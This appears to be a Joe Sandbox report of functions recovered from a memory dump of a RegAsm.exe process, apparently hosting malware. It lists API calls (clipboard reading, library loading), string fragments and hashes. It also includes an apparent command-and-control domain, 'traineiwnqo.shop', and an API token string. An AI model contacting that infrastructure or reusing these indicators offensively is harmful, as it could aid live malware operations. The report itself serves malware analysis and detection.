Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: String$AllocFree$BlanketProxy
String ID: 4`[b$7654$/.-$B
API String ID: 3215672481-2456291547
Opcode ID: 1f52f75ee9fbd9a2817593f0f2cd6b7df647ac44ab142d147d39e02bf424dc0f
Instruction ID: d208b6dcd48daf2608e56d970aedca86ac8594f7c4363f7bc0ec2ba55e37e436
Opcode Fuzzy Hash: 1f52f75ee9fbd9a2817593f0f2cd6b7df647ac44ab142d147d39e02bf424dc0f
Instruction Fuzzy Hash: C612DC70A00700DFEB24CF29D891B6ABBF1FF49304F50892DE5969B7A1D779A805CB58

Function 0043406B Relevance: 5.8, Strings: 4, Instructions: 752
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4`[b, xrefs: 004346C0
%sgh, xrefs: 00434470
GC, xrefs: 004347CD
0mrs, xrefs: 00434192

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: %sgh$0mrs$4`[b$GC
API String ID: 0-977343894
Opcode ID: fc32d9ced189cf6374c410164aff830010b6ef61b34dd62e774bd4f35da11266
Instruction ID: 98d9df69f66ed30905ed8ad65f3aad93e7dedcb94b99b17d03a419621e4ea0be
Opcode Fuzzy Hash: fc32d9ced189cf6374c410164aff830010b6ef61b34dd62e774bd4f35da11266
Instruction Fuzzy Hash: 06328DB4E0021ACBDB14CF98D9917BEB7B1FF8A300F245569D8516B391D338AD51CBA8

Function 00433FA0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(004347CA,00000000,00000004,000000FF,00000028,?,0000000C), ref: 00433FCE

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 0042E876 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 0042E896
SysStringLen.OLEAUT32(?), ref: 0042E94E
VariantClear.OLEAUT32(?), ref: 0042EB03
SysFreeString.OLEAUT32(?), ref: 0042ED49
SysFreeString.OLEAUT32(?), ref: 0042ED51
SysFreeString.OLEAUT32(?), ref: 0042ED62

Strings

B, xrefs: 0042ED71

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: String$Free$Variant$ClearInit
String ID: B
API String ID: 4205145696-3806887055
Opcode ID: 21028c80cd4026167bb69fda4869c2a8315c8d17ec0b3906e11f670861941946
Instruction ID: fcfcb4cb4f68b1e8097e57e2e1d3c881d061160ce27179147b48dec2388d3295
Opcode Fuzzy Hash: 21028c80cd4026167bb69fda4869c2a8315c8d17ec0b3906e11f670861941946
Instruction Fuzzy Hash: 728166B4604B00CFD724CF25D881B66B7A2FF5A304F44892ED49A8BBA1D735F846CB45

Function 0040A810 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 586
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(137B118F,00000000,00000800), ref: 0040A8B2

Strings

7641A8A9550F401098A04E632013B2C2, xrefs: 0040AD7A
B, xrefs: 0040AC5A
traineiwnqo.shop, xrefs: 0040AD3F, 0040AF96

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: 7641A8A9550F401098A04E632013B2C2$B$traineiwnqo.shop
API String ID: 1029625771-3315110752
Opcode ID: 34d17edaf40d782ec67320f1e2a09a68fcafa89bbacd7ef14cc55d2e69128cac
Instruction ID: 8bf3c8a0dc5432b79849cedbee025762e94b3ba7f0271e702e969951a62f6cf0
Opcode Fuzzy Hash: 34d17edaf40d782ec67320f1e2a09a68fcafa89bbacd7ef14cc55d2e69128cac
Instruction Fuzzy Hash: 5912BFB01083409FE710DF15D84076EBBE1AF92309F088A2EE5D56B392D7798965CF9B

Function 00409930 Relevance: 4.5, APIs: 3, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00409949
ExitProcess.KERNEL32 ref: 00409998

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Process$CurrentExit
String ID:
API String ID: 2333725396-0
Opcode ID: 9e9a532d26983c7b588b4a1bc287a377aacdea2b97869028e39f574fbfbb0ff6
Instruction ID: 85d1f0525f93d6271b7d803b59661970475abf974338680b697f46506254df6e
Opcode Fuzzy Hash: 9e9a532d26983c7b588b4a1bc287a377aacdea2b97869028e39f574fbfbb0ff6
Instruction Fuzzy Hash: 02F082B14082108ACA103B728A0632FBB685F1231AF00053FFC82713C3EB3C4D165AAF

Function 00433DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(?,00000000,00000800), ref: 00433E62

Strings

s, xrefs: 00433E07

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: s
API String ID: 1029625771-453955339
Opcode ID: f2df3bd0ba6a8576ac6632823765e9fc54261c1f47064a4c1da545078199b780
Instruction ID: 4d42e78689078bb1e512328da8b123497e3410b22b9a915000ca559236b053ce
Opcode Fuzzy Hash: f2df3bd0ba6a8576ac6632823765e9fc54261c1f47064a4c1da545078199b780
Instruction Fuzzy Hash: DD11C6B5A002658BDB00CF68C8857EEBBF2BF0A706F140819D495A7351D37CA9069F68

Function 00432111 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 00432124

Strings

0!C, xrefs: 00432126

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: 0!C
API String ID: 1279760036-3093313867
Opcode ID: 8753d004f219bdd7219b323af178a09c01ebe98d884d50b0ec1c769fd5c0165b
Instruction ID: 04cee9a2c7cb843de1264aaf56dcf5a1e572489f03cca6b25e53b27a8fc7ede0
Opcode Fuzzy Hash: 8753d004f219bdd7219b323af178a09c01ebe98d884d50b0ec1c769fd5c0165b
Instruction Fuzzy Hash: 3EB01270146110BCD03113114CD5FFF6C2C9F43F65F102024B204140C00754A001D07D

Function 00432140 Relevance: 1.6, APIs: 1, Instructions: 62
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 004321DC

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 655819d9c0214d52ee193739dccee6f6407c7ea10fd06675cb2cd853cfd10b71
Instruction ID: 02542b3465e1523abc4de0e254be3dcfc07d2ba64744a3a3f7c2d606735d1a8a
Opcode Fuzzy Hash: 655819d9c0214d52ee193739dccee6f6407c7ea10fd06675cb2cd853cfd10b71
Instruction Fuzzy Hash: 4C11C271A192008BC708DF28D960A2FB7E2EFC5315F18CA2DD1C6473A5DA308811CB86

Non-executed Functions

Function 0041AEBD Relevance: 33.0, Strings: 26, Instructions: 488COMMON

Download Yara Rule

Strings

P?m1, xrefs: 0041B387
$K;M, xrefs: 0041B3D4
's7u, xrefs: 0041B3FE
+(, xrefs: 0041B2AD
f#k!, xrefs: 0041B629
75, xrefs: 0041B6AA
];]=, xrefs: 0041B380
=?, xrefs: 0041B32B
T_, xrefs: 0041B5A0
4:, xrefs: 0041B69E
2w0i, xrefs: 0041B405
SQ, xrefs: 0041B1E5
?o;a, xrefs: 0041B413
e3l5, xrefs: 0041B38E
8k>m, xrefs: 0041B40C
o/d-, xrefs: 0041B61F
]_, xrefs: 0041B5A7
WU, xrefs: 0041B522
cSam, xrefs: 0041B78D
*/, xrefs: 0041B2B7
SQ, xrefs: 0041B51B
_], xrefs: 0041B1DB
75, xrefs: 0041B23F
d7Z), xrefs: 0041B395
%ki, xrefs: 0041B17D
WU, xrefs: 0041B1EF

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: $K;M$%ki$'s7u$*/$+($2w0i$4:$8k>m$=?$?o;a$P?m1$T_$];]=$]_$cSam$d7Z)$e3l5$f#k!$o/d-$75$75$SQ$SQ$WU$WU$_]
API String ID: 0-3459135169
Opcode ID: 43e28df520d3bcad4ed6ffc926e2c98f2677454a2346b802433a89ba392a3010
Instruction ID: b3273fee3340c09fd2804797b29d5d6376960dfe39c91dec08cbd9ec68029d71
Opcode Fuzzy Hash: 43e28df520d3bcad4ed6ffc926e2c98f2677454a2346b802433a89ba392a3010
Instruction Fuzzy Hash: 8F420DB8900B568FD764CF25D58079AFBB1FB05300F509A9CD4AAAFB52C770A482CF85

Function 00423300 Relevance: 15.7, APIs: 2, Strings: 6, Instructions: 1719COMMON

Download Yara Rule

Strings

WXM,, xrefs: 004234FF
?026, xrefs: 004243DC
>>B, xrefs: 00423BA1
nLv., xrefs: 004240BE
VVOT, xrefs: 00423A0D
zHPR, xrefs: 00424CD6

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: >>B$?026$VVOT$WXM,$nLv.$zHPR
API String ID: 0-867834115
Opcode ID: 9bf2fd2a8e5effd6fcdbc20e51042f77b1d439974a595fd89c3280f55ff4f06a
Instruction ID: ea93a7a69c4b05680d95c06564036f72732313c29ab46c91309b5ec1a3ade140
Opcode Fuzzy Hash: 9bf2fd2a8e5effd6fcdbc20e51042f77b1d439974a595fd89c3280f55ff4f06a
Instruction Fuzzy Hash: 01E2AC70204B928AD325CF35D4907A7BBE1EF52305F58496ED4EB8B782C339A545CF98

Function 00414160 Relevance: 13.7, Strings: 10, Instructions: 1151COMMON

Download Yara Rule

Strings

OI, xrefs: 004142F0
IC, xrefs: 004148A6
s, xrefs: 004148AE
|w, xrefs: 00414958
8, xrefs: 00414ABD
wu, xrefs: 0041489E
_W, xrefs: 004142F8
VA, xrefs: 004149B6
`c, xrefs: 0041472E
RR, xrefs: 00414300

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 8$IC$OI$RR$VA$_W$`c$s$wu$|w
API String ID: 0-2501553523
Opcode ID: 607335ce91f70844582d8ee9beb93bcaf837bf5f74a2caf647eb6b646c076283
Instruction ID: 10dfa4bddb72f2478a683de6888cf7fa89f560f853413485e885e4ec6dbba352
Opcode Fuzzy Hash: 607335ce91f70844582d8ee9beb93bcaf837bf5f74a2caf647eb6b646c076283
Instruction Fuzzy Hash: 0B7297B450C3808FD314DF29E491AABBBE1EFD6314F14892DE0D58B392D3399945CB9A

Function 0040B000 Relevance: 11.7, Strings: 9, Instructions: 414COMMON

Download Yara Rule

Strings

U1\3, xrefs: 0040B140
uv<!, xrefs: 0040B3A5
X=3?, xrefs: 0040B15B
wDI{, xrefs: 0040B316
\9_;, xrefs: 0040B150
W5Y7, xrefs: 0040B148
Z8rOOVpCGVmgWNTmDZS3RE039ad5UG9OEliujIvYDKQ-1724851747-0.0.1.1-/api, xrefs: 0040B507, 0040B524
89, xrefs: 0040B1E7
*!"#, xrefs: 0040B166

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: *!"#$89$U1\3$W5Y7$X=3?$Z8rOOVpCGVmgWNTmDZS3RE039ad5UG9OEliujIvYDKQ-1724851747-0.0.1.1-/api$\9_;$uv<!$wDI{
API String ID: 0-3288668874
Opcode ID: 040cc6d3b2dfaad434a7d9b5a635a1e5cecabd74b452b2b531cf3e3ea92861fb
Instruction ID: 13237b498112c0df180c9789d066283ae5ca914d3e7ad719bbd32d58a6218ef1
Opcode Fuzzy Hash: 040cc6d3b2dfaad434a7d9b5a635a1e5cecabd74b452b2b531cf3e3ea92861fb
Instruction Fuzzy Hash: C6E1477010C3809BD311DF18C490A1FBBE1EF86758F588A6EE4D96B392C3399945CB9A

Function 00418F9A Relevance: 11.4, APIs: 1, Strings: 5, Instructions: 866COMMON

Download Yara Rule

Strings

c_^X, xrefs: 004190C7
76547654, xrefs: 00419104, 00419100, 0041912A, 004190EE, 0041911E
ZgUY, xrefs: 004190CF
7654, xrefs: 00418FE6
7654, xrefs: 00419698

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 7654$7654$76547654$ZgUY$c_^X
API String ID: 0-832553225
Opcode ID: 6419d35331c556af24202c309a051d92a7c5be69a0e6f0271b2b60e5c6cac6a1
Instruction ID: 490eac7359a3367a67c91254828de951180072d7f9268015f790fbff1f8a95c7
Opcode Fuzzy Hash: 6419d35331c556af24202c309a051d92a7c5be69a0e6f0271b2b60e5c6cac6a1
Instruction Fuzzy Hash: D252C074609302DFD704CF28D890A6AB7E2FF89314F18896DE995873A1D738EC91CB56

Function 0040A2A0 Relevance: 10.4, Strings: 8, Instructions: 371COMMON

Download Yara Rule

Strings

(, xrefs: 0040A577
7641A8A9550F401098A04E632013B2C2, xrefs: 0040A3D4
dk, xrefs: 0040A70A
sghe, xrefs: 0040A6FF
xG}E, xrefs: 0040A6AA
NDFB, xrefs: 0040A5A6
89, xrefs: 0040A783
0, xrefs: 0040A30A

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ($0$7641A8A9550F401098A04E632013B2C2$89$NDFB$dk$sghe$xG}E
API String ID: 0-2599710177
Opcode ID: 1b4427f46b020fa44aaeb7c5af4cf38baa070a64d270e3eeac5ef9614e8fc93d
Instruction ID: 3f2d1023407896c9d8e9c386dcd250c56f46485b4f734d3a90c8fec5e180debc
Opcode Fuzzy Hash: 1b4427f46b020fa44aaeb7c5af4cf38baa070a64d270e3eeac5ef9614e8fc93d
Instruction Fuzzy Hash: CEE114B01083809BD314DF19C490A2FBBF1EF96748F148A2DE5D99B3A2C7399855CB5B

Function 004297F0 Relevance: 9.1, APIs: 6, Instructions: 116clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00429812
GetWindowLongW.USER32 ref: 0042983D
GetClipboardData.USER32 ref: 0042984D
CloseClipboard.USER32 ref: 00429952

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: 3a232f2ebb08775f1998ed021a1bb97478409113e4e7ddd384c39079e02d75fb
Instruction ID: dbcac529509713fc5bea79e6a5e27dbcbb2f1d32715728547801cd2d791f9ed7
Opcode Fuzzy Hash: 3a232f2ebb08775f1998ed021a1bb97478409113e4e7ddd384c39079e02d75fb
Instruction Fuzzy Hash: 5B41A5B0A087928FD711AB7CA44436FBFE09B12320F448E2EE0E6977C1D6389945C757

Function 0041C1E0 Relevance: 6.7, Strings: 5, Instructions: 436COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0041C560
;', xrefs: 0041C2AF
4`[b, xrefs: 0041C780
2/, xrefs: 0041C2B7
7654, xrefs: 0041C736

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 2/$4`[b$4`[b$7654$;'
API String ID: 0-2626404024
Opcode ID: dead9a732aaef337ba81a8b97a69426f2b6bba6f41ebf8f4aaf15f91b6e2aa8a
Instruction ID: 26ea63534ae3e6bd61441c9169b9a728b07649db8703110e2030805014c08cb9
Opcode Fuzzy Hash: dead9a732aaef337ba81a8b97a69426f2b6bba6f41ebf8f4aaf15f91b6e2aa8a
Instruction Fuzzy Hash: 78E198B460C341DFE324DF28E890B6BBBE2FB86344F50882DE1D5872A1D7749845CB5A

Function 0041CE70 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 462COMMON

Download Yara Rule

Strings

DD, xrefs: 0041D987
4`[b, xrefs: 0041D840

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$DD
API String ID: 0-2328339180
Opcode ID: b807664b0f23e44e8dfdd5e0703170624979a2ebacd0005b70fcfac8561d7c4b
Instruction ID: 8271e85c979b581454c923b7ae082495721ad2c20647ae81294568aa8489cf5c
Opcode Fuzzy Hash: b807664b0f23e44e8dfdd5e0703170624979a2ebacd0005b70fcfac8561d7c4b
Instruction Fuzzy Hash: D5F199B4908340DFD3149F28E890A6BBBF1EF8A348F44692DF1C587361D7799891CB4A

Function 0041EB5F Relevance: 5.5, Strings: 4, Instructions: 505COMMON

Download Yara Rule

Strings

<(, xrefs: 0041EE47
@:, xrefs: 0041EE40
SP, xrefs: 0041EE39
pA, xrefs: 0041EF5F

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: <($@:$SP$pA
API String ID: 0-2096108754
Opcode ID: 8800ebda94bbcbceaaaab540bed2ff5570ed544b76802edd7efdae9079de000d
Instruction ID: 7340faad33d1629b880e59b953aa0262a307575ebe5f3bf1aba39aafcfb50f41
Opcode Fuzzy Hash: 8800ebda94bbcbceaaaab540bed2ff5570ed544b76802edd7efdae9079de000d
Instruction Fuzzy Hash: 3D029DB4E0021ACFDB04CF99D891AAEFBB1FF49300F148559E815AB396D734A941CF95

Function 00413555 Relevance: 4.5, Strings: 3, Instructions: 736COMMON

Download Yara Rule

Strings

}z{, xrefs: 0041384C
u s, xrefs: 0041383C
4`[b, xrefs: 00413A20

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$u s$}z{
API String ID: 0-2227352053
Opcode ID: 5bc1016c9887d98cd87b361dd3af6ff5bf015ecf9d6371ae1b25fb4791e535a8
Instruction ID: b1540de6ea930d979f3ac0be3d11990741c7919bfbe03e51bc4ef102b9e3bfad
Opcode Fuzzy Hash: 5bc1016c9887d98cd87b361dd3af6ff5bf015ecf9d6371ae1b25fb4791e535a8
Instruction Fuzzy Hash: B332ABB19083409FD710DF28C88166BB7E1FF89359F04492EE8D997352E338EA45CB5A

Function 0041A7D8 Relevance: 3.0, Strings: 2, Instructions: 527COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0041ADB0
7654, xrefs: 0041AD66

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: 762f7185b1c4e14a82dbf99af9a8724a603defb7888c91f406ae992e52300a96
Instruction ID: b4e1a4e571836c98069d91dca60e392b914ae0c73ff45b0ab22b483f2380cc65
Opcode Fuzzy Hash: 762f7185b1c4e14a82dbf99af9a8724a603defb7888c91f406ae992e52300a96
Instruction Fuzzy Hash: 6402E075D0121ACBCB14CF68C890AEEB7B2FF49300F19849AD841AB351D7399D92CB99

Function 00412D9D Relevance: 2.8, Strings: 2, Instructions: 308COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00413080
7654, xrefs: 00413036

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: 26ba02447477ea38d195325f5eb1c8a7aebefafab284258121ab35c6d5674d94
Instruction ID: 333ecfdf8dde34d4f6aa56c3055041ae65c4990cfcc230d53f1201f838be33fa
Opcode Fuzzy Hash: 26ba02447477ea38d195325f5eb1c8a7aebefafab284258121ab35c6d5674d94
Instruction Fuzzy Hash: 7381F0B1900219CBDB10CF58DC92AFB73B1FF49314F14416AE902AB391E7799A51CBA9

Function 00423C24 Relevance: 1.8, Strings: 1, Instructions: 550COMMON

Download Yara Rule

Strings

vT^8, xrefs: 0042514D

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: vT^8
API String ID: 0-144666228
Opcode ID: b38f1c914150a82d71dba4a7d34c916fa422f328e48b7d3e7041ec82bd7b7369
Instruction ID: 776c1141c75b7c48ae07388f2282c87ac763d8598ed6de0d22014516fa7d8ead
Opcode Fuzzy Hash: b38f1c914150a82d71dba4a7d34c916fa422f328e48b7d3e7041ec82bd7b7369
Instruction Fuzzy Hash: 2B028A70204B918ED325CF29D4907A7FBF1AF56304F58886EC4EA87B92C779E506CB58

Function 0040EFE0 Relevance: 1.8, Strings: 1, Instructions: 503COMMON

Download Yara Rule

Strings

z, xrefs: 0040F8E3

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: z
API String ID: 0-1657960367
Opcode ID: 47a4703f915b1ed9d066ce045131ab22f6a65df2d17df319f2ed5deaab2be635
Instruction ID: e88c94cb3b04df96840fc0172771b105016a4bba1c105683a476d3149dcf9044
Opcode Fuzzy Hash: 47a4703f915b1ed9d066ce045131ab22f6a65df2d17df319f2ed5deaab2be635
Instruction Fuzzy Hash: 1602F2B1508341CFD725DF28D88076BB7E1AF96308F14493DE489A7392E739E849CB5A

Function 00418580 Relevance: 1.7, APIs: 1, Instructions: 242comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00439538,00000000,00000001,00439528), ref: 004185A9

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: d5f447d211a7cba372c16b306cb673dcabc9674c1706a01d02b47f76867fc8f4
Instruction ID: c53532734e796bbb99004340195012868f4fa42433ebcb6ea21c5507683797a7
Opcode Fuzzy Hash: d5f447d211a7cba372c16b306cb673dcabc9674c1706a01d02b47f76867fc8f4
Instruction Fuzzy Hash: DB51DFB1600200ABDB209B24CC86BB733B4EF85358F28451DF9958B3D1EB78DC81C72A

Function 00424D86 Relevance: 1.7, Strings: 1, Instructions: 446COMMON

Download Yara Rule

Strings

vT^8, xrefs: 0042514D

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: vT^8
API String ID: 0-144666228
Opcode ID: a3e3e63fcae0696028850abea55257ed1e89a5802acf22014d01533ab12af6b0
Instruction ID: 22b36863259243b647174d57ba2f837181b340375f30714746ca0cf978050850
Opcode Fuzzy Hash: a3e3e63fcae0696028850abea55257ed1e89a5802acf22014d01533ab12af6b0
Instruction Fuzzy Hash: 25E1BE70104B918FD366CF29C5507A7FBF1AF56304F9488AEC8EA8B782C779A905CB54

Function 004187E0 Relevance: 1.7, Strings: 1, Instructions: 436COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00418C70

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 12a71d5f4cfc59184df24093cdc20bc31f4f7f729086096da5d0df1e0ebd6032
Instruction ID: c3bd3ee625d69e8edcc46d0a119240d42c353e60cc7f944bccecc0c9f18af3c7
Opcode Fuzzy Hash: 12a71d5f4cfc59184df24093cdc20bc31f4f7f729086096da5d0df1e0ebd6032
Instruction Fuzzy Hash: 04D1CFB16082009BD714EF14C891AABB7F1EF96354F08491EF8C597391E739ED81CB9A

Function 00420710 Relevance: 1.7, Strings: 1, Instructions: 402COMMON

Download Yara Rule

Strings

", xrefs: 004209F7

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 939dc505111095dae399a0b3139c9c85ded5718a9b0a5185b11e47deb40da2d0
Instruction ID: 68498b8493db956e5a25b608bae379dc603377d76d878f896cd3c4e5f10ba62c
Opcode Fuzzy Hash: 939dc505111095dae399a0b3139c9c85ded5718a9b0a5185b11e47deb40da2d0
Instruction Fuzzy Hash: 99C1F6B2B043215BD724DE24D481B6BBBD5AF84314F99852EE88587383D63CED44C7DA

Function 00419A55 Relevance: 1.5, Strings: 1, Instructions: 282COMMON

Download Yara Rule

Strings

7654, xrefs: 004198A6

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 7654
API String ID: 0-4024152101
Opcode ID: 3504394762c3f94a12b0f270924edc5e951516a17c3d17f5c9fd680f93e6bd29
Instruction ID: 7e542ee3ddbc02d0726da7b392e5b7563b94215d8191e3ce3909413af34983d8
Opcode Fuzzy Hash: 3504394762c3f94a12b0f270924edc5e951516a17c3d17f5c9fd680f93e6bd29
Instruction Fuzzy Hash: 5EA1AE75A19202CFD708CF28E89076AB3E2FF89311F1986BCE985873A5D734E951CB45

